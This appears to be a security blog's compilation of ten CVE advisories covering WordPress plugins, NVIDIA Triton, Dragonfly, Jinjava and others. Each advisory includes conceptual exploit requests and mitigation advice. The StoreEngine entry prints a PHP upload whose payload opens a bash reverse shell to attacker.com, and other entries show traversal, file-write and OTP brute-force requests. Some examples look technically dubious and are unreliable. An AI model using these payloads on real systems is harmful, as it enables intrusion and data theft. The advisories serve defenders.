Author: Ameeba

  • CVE-2025-5305: Critical Vulnerability in WordPress REST API Plugin

    Overview

    The CVE-2025-5305 vulnerability is a major cybersecurity risk that affects users of the Password Reset with Code for WordPress REST API WordPress plugin. This vulnerability stems from the plugin’s use of insecure algorithms to generate One-Time Password (OTP) codes, which could potentially lead to account takeovers. As WordPress powers over 40% of all websites on the internet, this vulnerability could put a significant number of users and businesses at risk, making it a high-priority issue for cybersecurity professionals and website administrators.

    Vulnerability Summary

    CVE ID: CVE-2025-5305
    Severity: Critical, CVSS Score 9.8
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Password Reset with Code for WordPress REST API WordPress plugin | Before 0.0.17

    How the Exploit Works

    The exploit targets the insecure OTP code generation process of the Password Reset with Code for WordPress REST API WordPress plugin. An attacker can predict or brute force the OTP code due to the use of weak algorithms, thereby gaining unauthorized access to user accounts. With this access, the attacker could alter system settings, steal sensitive data, or take complete control of the WordPress site.

    Conceptual Example Code

    Below is a conceptual example of how an attacker might exploit this vulnerability. This pseudocode outlines a brute force attack on the OTP code.

    for potential_otp in all_possible_otps:
    response = send_http_request(
    method='POST',
    url='https://target.example.com/wp-json/password-reset-with-code/v1/reset',
    headers={'Content-Type': 'application/json'},
    data={'username': 'victim', 'otp': potential_otp}
    )
    if response.status_code == 200:
    print(f'Success! The OTP is {potential_otp}')
    break

    Please note that this is a simplified example and real-world attacks might involve more sophisticated techniques and obfuscation methods.
    In the end, to mitigate this vulnerability, users should update the plugin to version 0.0.17 or later as soon as possible. If an update is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection. However, these are only stop-gap measures and updating the plugin should be the priority.

  • CVE-2025-23316: Critical Vulnerability in NVIDIA Triton Inference Server Leading to Remote Code Execution

    Overview

    We are taking a deep dive into a critical vulnerability in the NVIDIA Triton Inference Server for both Windows and Linux systems. Identified as CVE-2025-23316, this vulnerability could potentially compromise systems, leading to data leakage. It is specifically located within the Python backend of the server, affecting the model control APIs. This vulnerability is of utmost importance due to its severe impact on system integrity, confidentiality, and availability, as it can lead to remote code execution, denial of service, information disclosure, and data tampering.

    Vulnerability Summary

    CVE ID: CVE-2025-23316
    Severity: Critical – 9.8 CVSS Score
    Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage, remote code execution, denial of service, information disclosure, and data tampering.

    Affected Products

    Product | Affected Versions

    NVIDIA Triton Inference Server | All versions before the patch

    How the Exploit Works

    The vulnerability lies in the Python backend of the NVIDIA Triton Inference Server. An attacker can manipulate the model name parameter in the model control APIs to trigger the vulnerability. This manipulation may cause a buffer overflow or other undefined behavior that could allow an attacker to execute arbitrary code remotely. As the server does not properly validate the model name parameter, a maliciously crafted model name could result in the execution of unintended instructions. This could lead to a range of outcomes, including denial of service, confidential information disclosure, data tampering, and even full system compromise.

    Conceptual Example Code

    Here’s a conceptual example demonstrating how an attacker might exploit this vulnerability. Note that this is a simplified representation and actual exploit might require more sophisticated techniques.

    POST /v1/models/{malicious_model_name}/versions/1:predict HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "inputs": [...] }

    In the above example, the `{malicious_model_name}` would be replaced with a specially crafted string that exploits the vulnerability in the model name handling logic of the NVIDIA Triton Inference Server.

    Mitigation

    To mitigate this vulnerability, apply the vendor-provided patch as soon as possible. Until the patch can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation to block or alert on suspicious activities. Ensure these systems are configured correctly to detect and prevent the exploitation of this vulnerability. Also, consider limiting the exposure of the NVIDIA Triton Inference Server to the internet and restrict its access to trusted networks only.

  • CVE-2025-59352: Critical Vulnerability in Dragonfly File Distribution System Leading to Potential Remote Code Execution (RCE)

    Overview

    The Common Vulnerability and Exposure identifier CVE-2025-59352 is associated with a critical vulnerability in the Dragonfly open source file distribution and image acceleration system. This vulnerability, present in versions prior to 2.1.0, allows peers to create and read arbitrary files, granting potential remote code execution (RCE) capabilities and enabling data theft. Given the widespread use of Dragonfly, this vulnerability has far-reaching implications and is a significant concern for all users of this system. Addressing this vulnerability promptly is essential to prevent potential system compromise and data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-59352
    Severity: Critical (9.8/10)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, data theft and potential remote code execution (RCE)

    Affected Products

    Product | Affected Versions

    Dragonfly | Prior to 2.1.0

    How the Exploit Works

    The vulnerability in question stems from the gRPC and HTTP APIs in Dragonfly. These APIs allow peers to send requests that force the recipient peer to create files in arbitrary file system locations, and to read arbitrary files. This means that an attacker can use this vulnerability to create or read files anywhere in the system. If the attacker chooses to create a malicious file, they might gain remote code execution capabilities. If the attacker chooses to read files, they can potentially gain access to sensitive data.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited:

    POST /createFile HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    {
    "filePath": "/etc/passwd",
    "fileContent": "malicious payload"
    }

    In this example, the attacker sends a malicious payload that forces the server to create a file at an arbitrary location (`/etc/passwd` in this case). This can lead to a variety of attacks, including remote code execution (RCE) and data theft.

    Remediation

    To mitigate this vulnerability, users are advised to apply the vendor patch by upgrading to Dragonfly version 2.1.0. If this is not possible, employing a web application firewall (WAF) or intrusion detection system (IDS) can offer temporary mitigation. However, these are not long-term solutions and upgrading the system should be a priority.

  • CVE-2025-59340: Jinjava Template Engine Vulnerability Leading to Potential Remote Code Execution

    Overview

    In the current landscape of cybersecurity, any vulnerability can lead to serious consequences, especially when it comes to web application technologies. This blog post will address a critical vulnerability in jinjava, a Java-based template engine. Jinjava, widely used for rendering jinja templates, has been identified to contain a severe vulnerability (CVE-2025-59340) that can lead to remote code execution (RCE). This vulnerability affects all versions of jinjava prior to 2.8.1, potentially impacting a large number of applications and systems worldwide. The severity of this vulnerability underscores the need for immediate attention and remediation.

    Vulnerability Summary

    CVE ID: CVE-2025-59340
    Severity: Critical (CVSS: 9.8)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Jinjava | Prior to 2.8.1

    How the Exploit Works

    The vulnerability resides in how jinjava interacts with the underlying ObjectMapper. By calling mapper.getTypeFactory().constructFromCanonical(), an attacker can instruct ObjectMapper to deserialize their input into arbitrary classes. This allows the creation of semi-arbitrary class instances without directly invoking restricted methods or class literals. As a result, an attacker can escape the sandbox and instantiate classes such as java.net.URL, leading to potential access to local files and URLs (e.g., file:///etc/passwd). With further chaining, this primitive can potentially lead to remote code execution.

    Conceptual Example Code

    Here is a conceptual example of how this vulnerability might be exploited:

    String payload = "{ \"__type__\": \"java.net.URL\", \"val\": \"file:///etc/passwd\" }";
    ObjectMapper mapper = new ObjectMapper();
    mapper.getTypeFactory().constructFromCanonical(payload);

    In this example, the attacker submits a JSON string that instructs the ObjectMapper to construct an instance of java.net.URL with the value “file:///etc/passwd”, potentially leading to unauthorized access to sensitive system files.

    Mitigation Guidance

    To mitigate this vulnerability, it is recommended to apply the vendor patch immediately. Users should upgrade to jinjava version 2.8.1 or later, which contains a fix for this vulnerability. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these measures should not replace the need for patching and upgrading the vulnerable software.

  • CVE-2024-12367: System Compromise via Sensitive Information Exposure in Vega Master Software

    Overview

    The cybersecurity world is under constant threat from various sources. One such threat that has recently emerged is the vulnerability identified by CVE-2024-12367. This cybersecurity vulnerability affects the Vega Master software by Vegagrup, specifically versions v.1.12.35 through 20250916.
    The issue lies in the software’s exposure of sensitive system information to an unauthorized control sphere. This vulnerability is especially concerning as it can lead to potential system compromise or data leakage, thereby posing a significant risk to users’ privacy and data integrity.

    Vulnerability Summary

    CVE ID: CVE-2024-12367
    Severity: High (8.6 CVSS)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    Vega Master | v.1.12.35 through 20250916

    How the Exploit Works

    Due to a flaw in the Vega Master software, it allows directory indexing that exposes sensitive system information to an unauthorized control sphere. This flaw can be exploited over the network without requiring user interaction or privileges.
    An attacker can take advantage of this vulnerability by making specific network requests to the affected software, thereby gaining access to sensitive system data which shouldn’t be accessible. This information can then be used to compromise the system or leak data.

    Conceptual Example Code

    A potential example of how the vulnerability might be exploited could look something like this:

    GET /sensitive/directory HTTP/1.1
    Host: target.example.com

    In this example, the attacker sends a GET request to the `/sensitive/directory` endpoint of the target system. If the system is vulnerable, it would return sensitive system data that can be used for further malicious activities.
    The vendor has not yet provided a fix for this vulnerability. However, as a temporary mitigation measure, users are advised to apply a vendor patch if available or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to protect against potential attacks exploiting this vulnerability.

  • CVE-2025-58766: Critical Security Vulnerability in Dyad AI App Builder

    Overview

    Cybersecurity vulnerabilities are an ever-present threat in today’s digitally interconnected world. One such vulnerability, CVE-2025-58766, has been identified in Dyad, a local AI app builder. This critical security flaw affects Dyad v0.19.0 and earlier versions, potentially putting countless systems at risk.
    The gravity of the situation lies in the fact that this vulnerability allows attackers the ability to execute arbitrary code on users’ systems, effectively gaining control of the system. This potential for system compromise or data leakage is an alarming prospect for users and organizations that employ Dyad in their applications.

    Vulnerability Summary

    CVE ID: CVE-2025-58766
    Severity: Critical, CVSS Score 9.0
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: System compromise, data leakage

    Affected Products

    Product | Affected Versions

    Dyad | v0.19.0 and earlier

    How the Exploit Works

    This vulnerability lies in the application’s preview window functionality. An attacker can craft web content that automatically executes when the preview loads. Because of the flaw in the preview window, this malicious content can break out of the application’s security boundaries and bypass Docker container protections. Once this happens, the attacker gains control of the system, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    An attacker could exploit this vulnerability by crafting a malicious payload that’s executed when a user previews certain web content. Here’s a conceptual example of such a request:

    GET /preview?content=<script>malicious_code_here</script> HTTP/1.1
    Host: vulnerable.dyad.example.com

    In this example, the malicious code embedded in the `GET` request is automatically executed when the preview loads, exploiting the vulnerability and allowing the attacker to execute arbitrary code on the user’s system.

    Mitigation

    A patch has been issued in Dyad v0.20.0 that fixes the vulnerability. Users are strongly advised to update to this version or later to protect their systems. As a temporary mitigation, users can apply a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help defend against potential attacks. However, these are only stopgap measures and do not address the underlying vulnerability.

  • CVE-2025-59332: Severe JavaScript Injection Vulnerability in 3DAlloy’s 3D Viewer for MediaWiki

    Overview

    The Common Vulnerabilities and Exposures (CVE) system has recently flagged a significant vulnerability, CVE-2025-59332, in the popular 3D viewer 3DAlloy for MediaWiki. This vulnerability specifically pertains to versions 1.0 through 1.8 and has a potential to compromise systems and leak sensitive data. Given the widespread use of 3DAlloy in the MediaWiki ecosystem, this vulnerability could potentially affect a large number of users, making it a matter of immediate concern for cybersecurity professionals and system administrators alike.

    Vulnerability Summary

    CVE ID: CVE-2025-59332
    Severity: Critical (CVSS score: 8.6)
    Attack Vector: Web
    Privileges Required: None
    User Interaction: Required
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    3DAlloy for MediaWiki | 1.0 through 1.8

    How the Exploit Works

    The exploit leverages a flaw in the 3DAlloy’s 3D viewer for MediaWiki. Specifically, the `<3d>` parser tag and the `{{#3d}}` parser function allow users to provide custom attributes, which are then appended to the HTML canvas element output by the extension. The issue arises because these attributes are not sanitized, potentially allowing an attacker to inject malicious JavaScript code. When this malicious code is executed, it can lead to severe consequences such as system compromise or data leakage.

    Conceptual Example Code

    Here is a conceptual example illustrating how the vulnerability might be exploited. In this case, the attacker sends a request with malicious JavaScript code as a custom attribute:

    <3d custom_attribute="javascript:malicious_code()">

    In this example, `malicious_code()` represents the attacker’s arbitrary JavaScript code. When the server processes this request, the malicious JavaScript code is executed, potentially leading to system compromise or data leakage.

    Mitigation Guidance

    It is advised to apply the vendor patch as soon as it is available. In the meantime, using a web application firewall (WAF) or an intrusion detection system (IDS) could serve as temporary mitigation. These tools can help detect and block malicious requests, providing a layer of protection against potential exploitation of this vulnerability.

  • CVE-2025-59304: Critical Directory Traversal Vulnerability in Swetrix Web Analytics API

    Overview

    The cybersecurity landscape is a dynamic one, with new vulnerabilities discovered regularly. One such vulnerability is CVE-2025-59304, a severe directory traversal issue found in the Swetrix Web Analytics API version 3.1.1. This vulnerability allows potential remote attackers to achieve Remote Code Execution (RCE) via a carefully crafted HTTP request. It primarily affects users and organizations that utilize the Swetrix Web Analytics API, and if not addressed, could lead to serious consequences including system compromise and data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-59304
    Severity: Critical (9.8 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    Swetrix Web Analytics API | 3.1.1 and prior versions

    How the Exploit Works

    The exploit takes advantage of a directory traversal vulnerability in Swetrix Web Analytics API. An attacker sends a specially crafted HTTP request to the server hosting the Swetrix Web Analytics API. This HTTP request is designed to traverse the directory structure of the server to a location where the attacker can execute arbitrary code. This could potentially allow an attacker to gain control of the server and access sensitive data.

    Conceptual Example Code

    Here is a conceptual example of how an HTTP request exploiting this vulnerability might look like:

    GET /api/file?path=../../../../etc/passwd HTTP/1.1
    Host: vulnerable-server.com

    In the example above, the attacker is attempting to traverse the directories to access the ‘passwd’ file on a UNIX system, which contains user account information. This is a classic example of a directory traversal attack and can lead to data leakage if successful.

    Mitigation and Recommendation

    To mitigate this vulnerability, it is strongly recommended to apply the patch provided by the vendor. Until the patch can be applied, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as temporary mitigation. These systems can be configured to detect and block malicious HTTP requests that attempt to exploit this vulnerability.
    Always remember, staying proactive about your cybersecurity measures is the first line of defense against any form of cyber threats. Regularly updating and patching your systems is an essential part of maintaining a secure environment.

  • CVE-2025-10205: One-Way Hash with a Predictable Salt Vulnerability in ABB FLXEON

    Overview

    In this piece, we delve into the intriguing world of cybersecurity vulnerabilities, focusing on a potent threat identified as CVE-2025-10205. The vulnerability, which affects ABB FLXEON up to and even beyond version 9.3.5, stems from the use of a one-way hash with a predictable salt. This particular issue is a significant concern for institutions using the ABB FLXEON, given the potential system compromise or data leakage that could result from its exploitation. Understanding such vulnerabilities is crucial in today’s digital age, where data integrity and system security are paramount.

    Vulnerability Summary

    CVE ID: CVE-2025-10205
    Severity: High, CVSS score 8.8
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    ABB FLXEON | 9.3.5 and newer versions

    How the Exploit Works

    The vulnerability occurs due to the use of a predictable salt in a one-way hash function. In encryption, a salt is a piece of data that is used as an additional input to a one-way function that hashes data or password. The addition of the salt provides an extra layer of security. However, if the salt is predictable, it can be easily guessed by an attacker. This flaw enables an attacker to precompute the hash values using a rainbow table attack, significantly reducing the time it takes to crack the hashed values. Successful exploitation allows unauthorized disclosure of information, unauthorized modification, and disruption of service.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request with a potentially malicious payload:

    POST /login HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "username": "admin", "password_hash": "5f4dcc3b5aa765d61d8327deb882cf99", "salt": "1234" }

    In this example, the attacker knows the predictable salt (“1234”) and the password hash. Using a rainbow table attack, they can reverse-engineer the hashed password (“5f4dcc3b5aa765d61d8327deb882cf99”), resulting in a potential system compromise.

    Mitigation

    The primary solution to this vulnerability is applying the vendor patch. In scenarios where this is not feasible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. It’s also important to review and restructure the password hashing mechanism to include a securely generated, random salt. This will significantly reduce the risk of an attacker successfully guessing the salt value.

  • CVE-2025-9216: Arbitrary File Upload Vulnerability in StoreEngine WordPress eCommerce Plugin

    Overview

    CVE-2025-9216 is a serious security vulnerability identified in the StoreEngine WordPress eCommerce Plugin, which is widely used for Payments, Memberships, Affiliates, Sales & More. The exploit allows authenticated attackers to upload arbitrary files on the server, potentially leading to remote code execution. This is due to deficient file type validation in the import() function. The vulnerability affects all versions of the plugin up to and including 1.5.0. Given the prevalent use of this plugin in the WordPress ecosystem, the potential impact is significant and warrants urgent attention.

    Vulnerability Summary

    CVE ID: CVE-2025-9216
    Severity: High (8.8)
    Attack Vector: Network
    Privileges Required: Low (Subscriber-level access)
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    StoreEngine – Powerful WordPress eCommerce Plugin | Up to and including 1.5.0

    How the Exploit Works

    The vulnerability stems from inadequate file type validation in the import() function of the StoreEngine WordPress eCommerce Plugin. This oversight allows authenticated attackers with Subscriber-level access and above to upload arbitrary files, including potentially malicious ones, to the server hosting the WordPress site. This file upload capability can be exploited to conduct remote code execution attacks, potentially leading to system compromise or data leakage.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited. This example represents a HTTP request to upload a malicious file:

    POST /wp-content/plugins/storeengine/upload.php HTTP/1.1
    Host: target.example.com
    Content-Type: multipart/form-data; boundary=-------------------------acebdf13572468
    ---------------------------acebdf13572468
    Content-Disposition: form-data; name="file"; filename="malicious.php"
    Content-Type: application/x-php
    <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'");?>
    ---------------------------acebdf13572468--

    Mitigation Guidance

    Users of the StoreEngine WordPress eCommerce Plugin are urged to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching all software, plugins, and themes can help prevent falling victim to such vulnerabilities in the future.

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